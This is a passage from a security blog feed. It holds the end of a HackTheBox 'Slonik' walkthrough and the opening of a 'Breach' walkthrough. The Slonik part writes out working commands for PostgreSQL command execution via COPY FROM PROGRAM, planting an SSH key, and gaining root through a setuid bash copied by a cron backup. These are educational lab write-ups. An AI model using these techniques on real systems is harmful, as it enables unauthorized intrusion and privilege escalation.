@@@@@@@@@@@@@@@@@@/     %@@@@@@@@@@.      @&amp;             @@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@   ############.    ############   ##########*  &amp;@@@@@@@@@@@@@@@
@@@@@@@@@@@  ###############  ###################  /##########  @@@@@@@@@@@@@
@@@@@@@@@@ ###############( #######################(  #########  @@@@@@@@@@@@
@@@@@@@@@  ############### (#########################  ######### @@@@@@@@@@@@
@@@@@@@@@ .##############  ###########################( #######  @@@@@@@@@@@@
@@@@@@@@@  ############## (        ##############        ######  @@@@@@@@@@@@
@@@@@@@@@. ############## #####   # .########### ##  ##  #####. @@@@@@@@@@@@@
@@@@@@@@@@ .############# /########  ########### *##### ###### @@@@@@@@@@@@@@
@@@@@@@@@@. ############# (########( ###########/ ##### ##### (@@@@@@@@@@@@@@
@@@@@@@@@@@  ###########( #########, ############( ####  ### (@@@@@@@@@@@@@@@
@@@@@@@@@@@@ (##########/ #########  ##############  ##  #( @@@@@@@@@@@@@@@@@
@@@@@@@@@@@@( ###########  #######  ################  / #  @@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@  ############  ####  ###################    @@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@, ##########  @@@      ################            (@@@@@@@@@@@
@@@@@@@@@@@@@@@@ .######  @@@@   ###  ##############  #######   @@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@(  *   @. #######    ############## (@((&amp;@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%&amp;@@@@  #############( @@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  #############  @@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@/ ############# ,@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ############( @@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  ###########  @@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  #######*  @@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&amp;   @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.8.0-1036-aws x86_64)
...[snip]...
Connection to 10.129.234.160 closed.
</span></code></pre></div></div>

<p>It does hang for a second between the ASCII art for the elephant and the Ubuntu welcome and exit.</p>

<p>I want access to the UNIX socket (which is handled as a file) that the PostgreSQL db is listening on as seen in the <code class="language-plaintext highlighter-rouge">.bash_history</code> file. SSH can actually port forward with <code class="language-plaintext highlighter-rouge">-L</code> to a UNIX socket:</p>

<div class="language-console sshpass-disclaimer highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>sshpass <span class="nt">-p</span> service ssh <span class="nt">-N</span> <span class="nt">-L</span> 5432:/var/run/postgresql/.s.PGSQL.5432 service@10.129.234.160
<span class="go">@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ 
...[snip]...
</span></code></pre></div></div>

<p>This just hangs, and port 5432 on my host is now forwarding through the SSH connection to <code class="language-plaintext highlighter-rouge">/var/run/postgresql/.s.PGSQL.5432</code> on Slonik. I can connect:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>psql <span class="nt">-h</span> localhost <span class="nt">-p</span> 5432 <span class="nt">-U</span> postgres 
<span class="go">psql (16.11 (Ubuntu 16.11-0ubuntu0.24.04.1), server 14.19 (Ubuntu 14.19-0ubuntu0.22.04.1))
Type "help" for help.

</span><span class="gp">postgres=#</span><span class="w"> 
</span></code></pre></div></div>

<h3 id="database">Database</h3>

<h4 id="enumeration">Enumeration</h4>

<p>This PostgreSQL instance has four databases:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">postgres=# </span><span class="n">\list</span><span class="w">
</span><span class="go">                                                   List of databases
   Name    |  Owner   | Encoding | Locale Provider | Collate |  Ctype  | ICU Locale | ICU Rules |   Access privileges   
-----------+----------+----------+-----------------+---------+---------+------------+-----------+-----------------------
 postgres  | postgres | UTF8     | libc            | C.UTF-8 | C.UTF-8 |            |           | 
 service   | postgres | UTF8     | libc            | C.UTF-8 | C.UTF-8 |            |           | 
 template0 | postgres | UTF8     | libc            | C.UTF-8 | C.UTF-8 |            |           | =c/postgres          +
           |          |          |                 |         |         |            |           | postgres=CTc/postgres
 template1 | postgres | UTF8     | libc            | C.UTF-8 | C.UTF-8 |            |           | =c/postgres          +
           |          |          |                 |         |         |            |           | postgres=CTc/postgres
(4 rows)
</span></code></pre></div></div>

<p>The only interesting one is <code class="language-plaintext highlighter-rouge">service</code>, and it has one table:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">postgres=# </span><span class="n">\c</span><span class="w"> </span><span class="nx">service</span><span class="w">
</span><span class="go">psql (16.11 (Ubuntu 16.11-0ubuntu0.24.04.1), server 14.19 (Ubuntu 14.19-0ubuntu0.22.04.1))
You are now connected to database "service" as user "postgres".
</span><span class="gp">service=# </span><span class="n">\dt</span><span class="w">
</span><span class="go">         List of relations
 Schema | Name  | Type  |  Owner   
--------+-------+-------+----------
 public | users | table | postgres
(1 row)
</span></code></pre></div></div>

<p>This is the entry I saw created in the <code class="language-plaintext highlighter-rouge">.psql_history</code> file:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">service=# </span><span class="k">select</span> <span class="o">*</span> <span class="k">from</span> <span class="n">users</span><span class="p">;</span>
<span class="go"> id | username |             password             |      description       
----+----------+----------------------------------+------------------------
  1 | service  | aaabf0d39951f3e6c3e8a7911df524c2 | network access account
(1 row)
</span></code></pre></div></div>

<h4 id="ssh">SSH</h4>

<p>To execute commands via PostgreSQL, I’ll create a table to store output, copy results into it, and get them:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">service=# </span><span class="k">CREATE</span> <span class="k">TABLE</span> <span class="n">cmd</span><span class="p">(</span><span class="k">output</span> <span class="nb">text</span><span class="p">);</span>
<span class="go">CREATE TABLE
</span><span class="gp">service=# </span><span class="k">COPY</span> <span class="n">cmd</span> <span class="k">FROM</span> <span class="n">PROGRAM</span> <span class="s1">'id'</span><span class="p">;</span>
<span class="go">COPY 1
</span><span class="gp">service=# </span><span class="k">select</span> <span class="o">*</span> <span class="k">from</span> <span class="n">cmd</span><span class="p">;</span>
<span class="go">                                 output                                 
------------------------------------------------------------------------
 uid=115(postgres) gid=123(postgres) groups=123(postgres),122(ssl-cert)
(1 row)
</span></code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">passwd</code> file shows the postgres user’s home directory is <code class="language-plaintext highlighter-rouge">/var/lib/postgresql</code>. It doesn’t have a <code class="language-plaintext highlighter-rouge">.ssh</code> directory, but I’ll create one, and give it my public key:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">postgres=# </span><span class="k">COPY</span> <span class="n">cmd</span> <span class="k">FROM</span> <span class="n">PROGRAM</span> <span class="s1">'mkdir -p /var/lib/postgresql/.ssh'</span><span class="p">;</span>
<span class="go">COPY 0
</span><span class="gp">postgres=# </span><span class="k">COPY</span> <span class="n">cmd</span> <span class="k">FROM</span> <span class="n">PROGRAM</span> <span class="s1">'chmod 700 /var/lib/postgresql/.ssh'</span><span class="p">;</span>
<span class="go">COPY 0
</span></code></pre></div></div>

<p>I can also pass input into a command like to do things like write a file:</p>

<div class="language-console wrapall highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">service=# </span><span class="k">COPY</span> <span class="p">(</span><span class="k">SELECT</span> <span class="s1">'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIK/xSi58QvP1UqH+nBwpD1WQ7IaxiVdTpsg5U19G3d nobody@nothing'</span><span class="p">)</span> <span class="k">TO</span> <span class="n">PROGRAM</span> <span class="s1">'tee /var/lib/postgresql/.ssh/authorized_keys'</span><span class="p">;</span>
<span class="go">COPY 1
</span></code></pre></div></div>

<p>Now I can SSH into the host as postgres:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>ssh <span class="nt">-i</span> ~/keys/ed25519_gen postgres@10.129.234.160
<span class="go">@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@...[snip]...
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.8.0-1036-aws x86_64)
...[snip]...
</span><span class="gp">postgres@slonik:~$</span><span class="w"> 
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">user.txt</code> is in the postgres user’s home directory:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">postgres@slonik:~$</span><span class="w"> </span><span class="nb">pwd</span>
<span class="go">/var/lib/postgresql
</span><span class="gp">postgres@slonik:~$</span><span class="w"> </span><span class="nb">ls</span>
<span class="go">14  snap  user.txt
</span><span class="gp">postgres@slonik:~$</span><span class="w"> </span><span class="nb">cat </span>user.txt
<span class="go">2b5f3f93************************
</span></code></pre></div></div>

<h2 id="shell-as-root">Shell as root</h2>

<h3 id="enumeration-1">Enumeration</h3>

<h4 id="users">Users</h4>

<p>I already found over NFS that the only user with a home directory in <code class="language-plaintext highlighter-rouge">/home</code> is service, and the only non-root user with a shell set is postgres. postgres requires a password to check <code class="language-plaintext highlighter-rouge">sudo</code>, which I don’t have:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">postgres@slonik:/home$</span><span class="w"> </span><span class="nb">sudo</span> <span class="nt">-l</span>
<span class="go">[sudo] password for postgres:
</span></code></pre></div></div>

<p>My next step is likely to root.</p>

<h4 id="backups-1">Backups</h4>

<p>I already noted <a href="#backups">above</a> that new backups in <code class="language-plaintext highlighter-rouge">/var/backups</code> are being created every minute, and that it goes from <code class="language-plaintext highlighter-rouge">/opt/backups/current</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">postgres@slonik:/opt/backups$</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-l</span> current/
<span class="go">total 260
-rw------- 1 root root      3 Feb 10 11:26 PG_VERSION
-rw------- 1 root root    227 Feb 10 11:26 backup_label
-rw------- 1 root root 181443 Feb 10 11:26 backup_manifest
drwx------ 6 root root   4096 Feb 10 11:26 base
drwx------ 2 root root   4096 Feb 10 11:26 global
drwx------ 2 root root   4096 Feb 10 11:26 pg_commit_ts
drwx------ 2 root root   4096 Feb 10 11:26 pg_dynshmem
drwx------ 4 root root   4096 Feb 10 11:26 pg_logical
drwx------ 4 root root   4096 Feb 10 11:26 pg_multixact
drwx------ 2 root root   4096 Feb 10 11:26 pg_notify
drwx------ 2 root root   4096 Feb 10 11:26 pg_replslot
drwx------ 2 root root   4096 Feb 10 11:26 pg_serial
drwx------ 2 root root   4096 Feb 10 11:26 pg_snapshots
drwx------ 2 root root   4096 Feb 10 11:26 pg_stat
drwx------ 2 root root   4096 Feb 10 11:26 pg_stat_tmp
drwx------ 2 root root   4096 Feb 10 11:26 pg_subtrans
drwx------ 2 root root   4096 Feb 10 11:26 pg_tblspc
drwx------ 2 root root   4096 Feb 10 11:26 pg_twophase
drwx------ 3 root root   4096 Feb 10 11:26 pg_wal
drwx------ 2 root root   4096 Feb 10 11:26 pg_xact
-rw------- 1 root root     88 Feb 10 11:26 postgresql.auto.conf
</span></code></pre></div></div>

<p>All of the files in <code class="language-plaintext highlighter-rouge">/opt/backups/current</code> are created this minute. I’ll upload <a href="https://github.com/DominicBreuker/pspy">pspy</a>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>scp <span class="nt">-i</span> ~/keys/ed25519_gen /opt/pspy/pspy64 postgres@10.129.234.160:/dev/shm/
<span class="go">...[snip]...
pspy64                                                                                                100% 3032KB   8.8MB/s   00:00
</span></code></pre></div></div>

<p>I’ll set it executable and run it:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">postgres@slonik:/dev/shm$</span><span class="w"> </span><span class="nb">chmod</span> +x pspy64
<span class="gp">postgres@slonik:/dev/shm$</span><span class="w"> </span>./pspy64
<span class="go">pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
...[snip]...
</span></code></pre></div></div>

<p>Every minute there’s a series of processes initiated by cron:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">2026/02/10 11:30:01 CMD: UID=0     PID=681830 | /usr/sbin/CRON -f -P 
2026/02/10 11:30:01 CMD: UID=0     PID=681831 | 
2026/02/10 11:30:01 CMD: UID=0     PID=681832 | /bin/bash /usr/bin/backup 
2026/02/10 11:30:01 CMD: UID=0     PID=681833 | ???
2026/02/10 11:30:01 CMD: UID=0     PID=681834 | /usr/bin/rm -rf /opt/backups/current/PG_VERSION /opt/backups/current/backup_label /opt/backups/current/backup_manifest /opt/backups/current/base /opt/backups/current/global /opt/backups/current/pg_commit_ts /opt/backups/current/pg_dynshmem /opt/backups/current/pg_logical /opt/backups/current/pg_multixact /opt/backups/current/pg_notify /opt/backups/current/pg_replslot /opt/backups/current/pg_serial /opt/backups/current/pg_snapshots /opt/backups/current/pg_stat /opt/backups/current/pg_stat_tmp /opt/backups/current/pg_subtrans /opt/backups/current/pg_tblspc /opt/backups/current/pg_twophase /opt/backups/current/pg_wal /opt/backups/current/pg_xact /opt/backups/current/postgresql.auto.conf 
2026/02/10 11:30:01 CMD: UID=0     PID=681835 | /bin/bash /usr/bin/backup 
2026/02/10 11:30:01 CMD: UID=115   PID=681836 | postgres: 14/main: walsender postgres [local] authentication                                                              
2026/02/10 11:30:01 CMD: UID=115   PID=681837 | /usr/lib/postgresql/14/bin/postgres -D /var/lib/postgresql/14/main -c config_file=/etc/postgresql/14/main/postgresql.conf 
2026/02/10 11:30:01 CMD: UID=0     PID=681838 | /usr/lib/postgresql/14/bin/pg_basebackup -h /var/run/postgresql -U postgres -D /opt/backups/current/ 
2026/02/10 11:30:01 CMD: UID=115   PID=681839 | postgres: 14/main: autovacuum worker
</span></code></pre></div></div>

<p>It looks like cron runs <code class="language-plaintext highlighter-rouge">/bin/bash /usr/bin/backup</code>. I can make out most of the script from the resulting processes, but it’s easier to just look at the file:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/bash</span>

<span class="nb">date</span><span class="o">=</span><span class="si">$(</span>/usr/bin/date +<span class="s2">"%FT%H%M"</span><span class="si">)</span>
/usr/bin/rm <span class="nt">-rf</span> /opt/backups/current/<span class="k">*</span>
/usr/bin/pg_basebackup <span class="nt">-h</span> /var/run/postgresql <span class="nt">-U</span> postgres <span class="nt">-D</span> /opt/backups/current/
/usr/bin/zip <span class="nt">-r</span> <span class="s2">"/var/backups/archive-</span><span class="nv">$date</span><span class="s2">.zip"</span> /opt/backups/current/

<span class="nv">count</span><span class="o">=</span><span class="si">$(</span>/usr/bin/find <span class="s2">"/var/backups/"</span> <span class="nt">-maxdepth</span> 1 <span class="nt">-type</span> f <span class="nt">-o</span> <span class="nt">-type</span> d | /usr/bin/wc <span class="nt">-l</span><span class="si">)</span>
<span class="k">if</span> <span class="o">[</span> <span class="s2">"</span><span class="nv">$count</span><span class="s2">"</span> <span class="nt">-gt</span> 10 <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
  /usr/bin/rm <span class="nt">-rf</span> /var/backups/<span class="k">*</span>
<span class="k">fi</span>
</code></pre></div></div>

<p>It removes all the files in <code class="language-plaintext highlighter-rouge">/opt/backups/current</code>, and then calls a <a href="https://www.postgresql.org/docs/current/app-pgbasebackup.html">standard PostgreSQL tool</a>, <code class="language-plaintext highlighter-rouge">pg_basebackup</code>, with that as the output directory. It then zips that directory into <code class="language-plaintext highlighter-rouge">/var/backups</code> using the date as a name. It then counts the number of backups, and if it’s greater than 10, removes them all (which is a bit wild for a backup strategy!).</p>

<h3 id="poison-backup">Poison Backup</h3>

<p>The <a href="https://www.postgresql.org/docs/current/app-pgbasebackup.html">docs</a> for <code class="language-plaintext highlighter-rouge">pg_basebackup</code> describe it as:</p>

<blockquote>
  <p>pg_basebackup is used to take a base backup of a running PostgreSQL database cluster. The backup is taken without affecting other clients of the database, and can be used both for point-in-time recovery (see <a href="https://www.postgresql.org/docs/current/continuous-archiving.html">Section 25.3</a>) and as the starting point for a log-shipping or streaming-replication standby server (see <a href="https://www.postgresql.org/docs/current/warm-standby.html">Section 26.2</a>).</p>
</blockquote>

<p>The files being backed up to <code class="language-plaintext highlighter-rouge">/opt/backups/current</code> are the files in <code class="language-plaintext highlighter-rouge">/var/lib/postgresql/14/main</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">postgres@slonik:~/14/main$</span><span class="w"> </span><span class="nb">ls</span>
<span class="go">PG_VERSION  pg_commit_ts  pg_multixact  pg_serial     pg_stat_tmp  pg_twophase  postgresql.auto.conf
base        pg_dynshmem   pg_notify     pg_snapshots  pg_subtrans  pg_wal       postmaster.opts
global      pg_logical    pg_replslot   pg_stat       pg_tblspc    pg_xact      postmaster.pid
</span></code></pre></div></div>

<p>There are a couple differences:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">postgres@slonik:~/14/main$</span><span class="w"> </span>diff &lt;<span class="o">(</span><span class="nb">ls</span> <span class="nt">-1</span><span class="o">)</span> &lt;<span class="o">(</span><span class="nb">ls</span> /opt/backups/current/ <span class="nt">-1</span><span class="o">)</span>
<span class="go">1a2,3
</span><span class="diff-added">&gt; backup_label
&gt; backup_manifest
</span><span class="go">20,21d21
</span><span class="diff-removed">&lt; postmaster.opts
&lt; postmaster.pid
</span></code></pre></div></div>

<p>The backup creates two files about the backup, and doesn’t copy the two <code class="language-plaintext highlighter-rouge">postmaster</code> files. And, the copied files are owned by root.</p>

<p>I’ll copy <code class="language-plaintext highlighter-rouge">bash</code> into the directory (since this is the postgres user’s home directory and it can write here), and set it as SetUID / SetGID:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">postgres@slonik:~/14/main$</span><span class="w"> </span><span class="nb">cp</span> /bin/bash <span class="nb">.</span>
<span class="gp">postgres@slonik:~/14/main$</span><span class="w"> </span><span class="nb">chmod </span>6777 bash
</code></pre></div></div>

<p>The next time the cron runs, there’s a SetUID / SetGID <code class="language-plaintext highlighter-rouge">bash</code> owned by root:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">postgres@slonik:/opt/backups/current$</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-l</span> bash 
<span class="go">-rwsrwsrwx 1 root root 1396520 Feb 10 12:25 bash
</span></code></pre></div></div>

<p>I’ll run with <code class="language-plaintext highlighter-rouge">-p</code> to not drop privs:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">postgres@slonik:/opt/backups/current$</span><span class="w"> </span>./bash <span class="nt">-p</span>
<span class="gp">bash-5.1#</span><span class="w">
</span></code></pre></div></div>

<p>And grab <code class="language-plaintext highlighter-rouge">root.txt</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">bash-5.1# </span><span class="nb">cat</span> /root/root.txt
<span class="go">2cb582cd************************
</span></code></pre></div></div>

<h2 id="beyond-root">Beyond Root</h2>

<p>While solving Slonik, I ran into data points with <code class="language-plaintext highlighter-rouge">netexec</code> I couldn’t explain:</p>

<ul>
  <li>I could read <code class="language-plaintext highlighter-rouge">/etc/shadow</code>.</li>
  <li>I could not read <code class="language-plaintext highlighter-rouge">/root/root.txt</code>.</li>
  <li>I could not read <code class="language-plaintext highlighter-rouge">/home/service/.bash_history</code>.</li>
</ul>

<p>My thinking is that the first two made sense. NFS allows me to be any user / group other than root. Without root, no <code class="language-plaintext highlighter-rouge">root.txt</code>. shadow group gives me access to <code class="language-plaintext highlighter-rouge">shadow</code>. So what is broken on <code class="language-plaintext highlighter-rouge">.bash_history</code>? Turns out it was a bug in Netexec. I’ll go into detail in <a href="https://www.youtube.com/watch?v=WVWPgOjIpoI">this video</a>:</p>

<iframe width="560" height="315" src="https://www.youtube.com/embed/WVWPgOjIpoI?si=0Uloyy9bie14I6Vu" title="YouTube video player" style="border: 0px;" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen=""></iframe>

<p>I created a PR to fix the bug, which has already been merged. And with that fix it works:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec nfs 10.129.234.160 <span class="nt">--get-file</span> /home/service/.bash_history ./
<span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160    41393  10.129.234.160     </span><span class="netexec-logmessage">[*]</span><span class="go"> Supported NFS versions: (3, 4) (</span><span class="netexec-logfail">root escape:True</span><span class="go">)
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160    41393  10.129.234.160     </span><span class="netexec-logmessage">[*]</span><span class="go"> Downloading /home/service/.bash_history to ./.bash_history
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160    41393  10.129.234.160     File successfully downloaded from /home/service/.bash_history to ./.bash_history
</span></code></pre></div></div>]]></content><author><name></name></author><category term="ctf" /><category term="hackthebox" /><category term="htb-slonik" /><category term="pentest" /><category term="bug-bounty" /><category term="hackthebox" /><category term="htb-slonik" /><category term="ctf" /><category term="vulnlab" /><category term="nmap" /><category term="nfs" /><category term="showmount" /><category term="netexec" /><category term="netexec-nfs" /><category term="crackstation" /><category term="postgresql" /><category term="tunnel" /><category term="unix-socket" /><category term="unix-socket-tunnel" /><category term="postgresql-rce" /><category term="yescrypt" /><category term="john" /><category term="shadow" /><category term="setuid" /><category term="cron" /><category term="ubuntu" /><category term="pspy" /><category term="pg-basebackup" /><category term="youtube" /><summary type="html"><![CDATA[Slonik showcases some interesting Linux techniques around NFS and PostgreSQL. I’ll start with an insecurely configured NFS mount where I can list and read files from anywhere on the filesystem as any user except root. I’ll find hashes for a service account in the shadow file and in a postgres history file, and crack either. The service account doesn’t have a shell set, so I can’t get a shell over SSH. I can port forward to a UNIX socket, which provides access to PostgreSQL. I’ll use that to get a shell as the postgres user. To escalate to root, I’ll abuse a cron running a PostgreSQL backup utility. In Beyond Root, I’ll talk about a bug I found and fixed in Netexec and its neat NFS tools.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://0xdf.gitlab.io/img/slonik-cover.png" /><media:content medium="image" url="https://0xdf.gitlab.io/img/slonik-cover.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">HTB: Breach</title><link href="https://0xdf.gitlab.io/2026/02/10/htb-breach.html" rel="alternate" type="text/html" title="HTB: Breach" /><published>2026-02-10T10:00:00+00:00</published><updated>2026-02-10T10:00:00+00:00</updated><id>https://0xdf.gitlab.io/2026/02/10/htb-breach</id><content type="html" xml:base="https://0xdf.gitlab.io/2026/02/10/htb-breach.html"><![CDATA[<picture>
    <source type="image/webp" srcset="/img/breach-cover.webp" />
    <img loading="lazy" src="/img/breach-cover.png" alt="Breach" style="float: right; margin-right:50px; margin-left:50px; height:150px;" class="include_image " />
</picture>
<p>Breach is a Windows domain controller box. I’ll start by using guest access to a writable SMB share to drop ntlm_theft lure files, capturing a NetNTLMv2 hash for a domain user with Responder. After cracking that hash, I’ll use BloodHound to find a Kerberoastable MSSQL service account and crack its hash as well. Both accounts map to guest on MSSQL, but I’ll forge a silver ticket as Administrator to get sysadmin access, enable xp_cmdshell, and use GodPotato to escalate to SYSTEM.</p>

<h2 id="box-info">Box Info</h2>

<!-- https://app.hackthebox.com/machines/766 -->

<div class="htb-card platform-vulnlab">
  <div class="htb-card-header">
    <div class="htb-box-info">
      <a href="https://hackthebox.com/machines/breach" target="_blank" class="htb-box-icon">
        <picture>
          <source type="image/webp" srcset="/icons/box-breach.webp" />
          <img src="/icons/box-breach.png" alt="Breach" />
        </picture>
      </a>
      <div class="htb-box-title">
        <a href="https://hackthebox.com/machines/breach" target="_blank" class="htb-box-name">Breach</a>
      </div>
    </div><div class="htb-difficulty-badge diff-Medium">
      Medium
    </div>
  </div>

  <div class="htb-card-body">
    <div class="htb-meta-grid">
      <div class="htb-meta-item">
        <span class="htb-meta-label">Release Date</span>
        <span class="htb-meta-value">
          
          <a href="https://twitter.com/hackthebox_eu/status/1976319283287200242">09 Oct 2025</a>
        </span>
      </div>
      
      <div class="htb-meta-item">
        <span class="htb-meta-label">Retire Date</span>
        <span class="htb-meta-value">09 Oct 2025</span>
      </div>
      
      <div class="htb-meta-item">
        <span class="htb-meta-label">OS</span>
        <span class="htb-meta-value htb-os">
          <picture><source type="image/webp" srcset="/icons/Windows.webp" /><img src="/icons/Windows.png" alt="Windows" /></picture>
          Windows
        </span>
      </div>
    </div>

    <div class="htb-cards">
      
      
      <div class="htb-card-row htb-card-red">
        <span class="htb-card-label">Non-competitive release: no bloods</span>
      </div>
      
      <div class="htb-card-row htb-card-blue">
        <span class="htb-card-label">Creator</span>
        
<a href="https://app.hackthebox.com/users/13569" target="_blank" rel="noopener"><img alt="xct" src="https://www.hackthebox.com/badge/image/13569" style="display: unset" onerror="this.style.display='none'; this.nextSibling.style.display='inline';" /><span class="user-text" style="display: none"> xct</span></a><br />
      </div>
    </div>

    
    <div class="htb-scenario-section">
      <span class="htb-meta-label">Scenario</span>
      <div class="htb-scenario-box"><span class="htb-scenario-text">The User flag for this Box is located in a non-standard directory, C:\share\transfer\.</span></div>
    </div>
    
  </div>
</div>
<h2 id="recon">Recon</h2>

<h3 id="initial-scanning">Initial Scanning</h3>

<p><code class="language-plaintext highlighter-rouge">nmap</code> finds 20 open TCP ports:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>nmap <span class="nt">-p-</span> <span class="nt">-vvv</span> <span class="nt">--min-rate</span> 10000 10.129.10.28
<span class="go">Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-03 12:37 UTC
...[snip]...
Nmap scan report for 10.129.10.28
Host is up, received echo-reply ttl 127 (0.045s latency).
Scanned at 2026-02-03 12:38:00 UTC for 33s
Not shown: 65515 filtered tcp ports (no-response)
PORT      STATE SERVICE          REASON
53/tcp    open  domain           syn-ack ttl 127
80/tcp    open  http             syn-ack ttl 127
88/tcp    open  kerberos-sec     syn-ack ttl 127
135/tcp   open  msrpc            syn-ack ttl 127
139/tcp   open  netbios-ssn      syn-ack ttl 127
389/tcp   open  ldap             syn-ack ttl 127
445/tcp   open  microsoft-ds     syn-ack ttl 127
464/tcp   open  kpasswd5         syn-ack ttl 127
593/tcp   open  http-rpc-epmap   syn-ack ttl 127
636/tcp   open  ldapssl          syn-ack ttl 127
1433/tcp  open  ms-sql-s         syn-ack ttl 127
3268/tcp  open  globalcatLDAP    syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
3389/tcp  open  ms-wbt-server    syn-ack ttl 127
5985/tcp  open  wsman            syn-ack ttl 127
9389/tcp  open  adws             syn-ack ttl 127
49664/tcp open  unknown          syn-ack ttl 127
49667/tcp open  unknown          syn-ack ttl 127
55568/tcp open  unknown          syn-ack ttl 127
59141/tcp open  unknown          syn-ack ttl 127

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 34.38 seconds
           Raw packets sent: 327628 (14.416MB) | Rcvd: 33 (1.436KB)
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>nmap <span class="nt">-p</span> 53,80,88,135,139,445,464,593,636,1433,3268,3269,3389,5985,9389,49664,49667,55568,59141 <span class="nt">-sCV</span> 10.129.10.28
<span class="go">Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-03 12:40 UTC
Nmap scan report for 10.129.10.28
Host is up (0.022s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-02-03 12:40:50Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
|_ssl-date: 2026-02-03T12:42:27+00:00; +5s from scanner time.
